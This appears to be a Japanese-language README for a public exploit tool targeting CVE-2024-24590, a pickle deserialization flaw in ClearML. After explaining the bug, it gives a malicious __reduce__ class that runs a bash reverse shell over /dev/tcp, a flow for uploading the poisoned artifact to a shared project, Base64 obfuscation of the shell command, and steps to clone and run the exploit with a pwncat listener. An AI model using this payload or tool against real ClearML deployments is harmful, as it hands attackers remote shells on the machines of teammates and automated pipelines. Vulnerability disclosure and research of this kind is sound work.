
CVE-2024-24590 – ClearMLにおける安全でないpickleアーティファクトのデシリアライズによるRCE (0.17.0–1.14.2)
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2024-24590 |
| ソフトウェア | ClearML |
| 影響を受けるバージョン | 0.17.0 – 1.14.2 |
| 脆弱性 | タスクアーティファクトの安全でない pickle 逆シリアル化 |
| 認証 | ClearML プロジェクトへの書き込みアクセスが必要 |
| 影響 | アーティファクトを読み込むすべてのマシンでのリモートコード実行 |
| 検証環境 | Ubuntu 22.04, Python 3.9+ |
ClearML は、実験の追跡、データセットの管理、チームメンバー間でのアーティファクト(モデル、ファイル、オブジェクト)の共有に使用される MLOps プラットフォームです。タスクアーティファクトが Python オブジェクトとしてアップロードされると、ClearML は Python の pickle モジュールを使用してそれをシリアル化します。別のユーザーがそのアーティファクトをダウンロードして読み込むと、ClearML は — この場合も pickle を使用して — 完全性の検証やクラスの許可リストなしに それを逆シリアル化します。
共有 ClearML プロジェクトへの書き込みアクセスを持つ攻撃者は、オーバーライドされた __reduce__ メソッドを含む悪意のあるアーティファクトをアップロードできます。そのアーティファクトを取得して読み込むチームメンバーや自動化パイプラインは、逆シリアル化中に攻撃者のペイロードを実行し、自機上で RCE に至ります。
Python の pickle モジュールは、信頼できない入力に対して本質的に安全ではありません。クラスの __reduce__ マジックメソッドは、逆シリアル化中にオブジェクトがどのように再構築されるかを制御します — os.system を含む任意の呼び出し可能オブジェクトと引数を返すことができます:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
pickle 化されて後で unpickle されると、Python はオブジェクトの再構築の一部として os.system(cmd) を呼び出します — 呼び出し側がオブジェクトを検査する機会を得る前に。
Attacker (project write access)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML server stores artifact as a pickled binary blob
│
▼
Victim fetches artifact (automated pipeline / manual review)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
│
▼
Reverse shell connects back to attacker
リバースシェルコマンドは、シリアル化された文字列内でのシェルのクォート問題を避けるために、埋め込む前に Base64 エンコードされます:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
要件: clearml, pwntools, colorama
python3 exploit.py
対話型メニューでは、次の 2 つのステップを実行します:
ステップ 1 — ClearML の初期化 (option 1)
ターゲットの ClearML サーバーの認証情報を設定するために clearml-init を実行します。既存の ~/clearml.conf がある場合は、最初にバックアップします。
ステップ 2 — エクスプロイトの実行 (option 2)
以下の入力を求めます:
オプションで、アーティファクトをアップロードする前に pwncat リスナーを自動的に起動します。
